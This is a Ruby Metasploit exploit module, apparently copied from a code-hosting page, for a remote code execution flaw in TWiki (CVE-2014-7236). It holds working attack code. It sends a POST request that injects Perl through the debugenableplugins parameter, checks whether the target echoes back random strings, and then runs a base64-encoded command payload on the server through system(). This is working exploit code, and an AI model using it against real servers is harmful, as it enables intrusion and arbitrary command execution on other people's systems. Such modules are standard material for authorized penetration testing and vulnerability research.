99 lines
2.6 KiB
Ruby
99 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'TWiki Debugenableplugins Remote Code Execution',
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'Description' => %q{
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TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.
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The value of the debugenableplugins parameter is used without proper sanitization
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in an Perl eval statement which allows remote code execution.
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},
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'Author' =>
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[
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'Netanel Rubin', # from Check Point - Discovery
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'h0ng10', # Metasploit Module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2014-7236'],
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[ 'OSVDB', '112977'],
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[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236']
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],
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'Privileged' => false,
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'Targets' =>
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[
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[ 'Automatic',
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{
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'Payload' =>
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{
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'BadChars' => "",
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl python php',
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}
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},
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 09 2014'))
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register_options(
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[
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OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]),
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OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin'])
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])
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end
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def send_code(perl_code)
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uri = target_uri.path
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data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit"
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res = send_request_cgi!({
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'method' => 'POST',
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'uri' => uri,
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'data' => data
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})
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return res
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end
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def check
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rand_1 = rand_text_alpha(5)
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rand_2 = rand_text_alpha(5)
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code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")"
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res = send_code(code)
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if res and res.code == 200
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return CheckCode::Vulnerable if res.body == rand_1 + rand_2
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end
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CheckCode::Unknown
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end
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def exploit
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code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");"
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code += "require('MIME/Base64.pm');MIME::Base64->import();"
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code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
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res = send_code(code)
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handler
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end
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end
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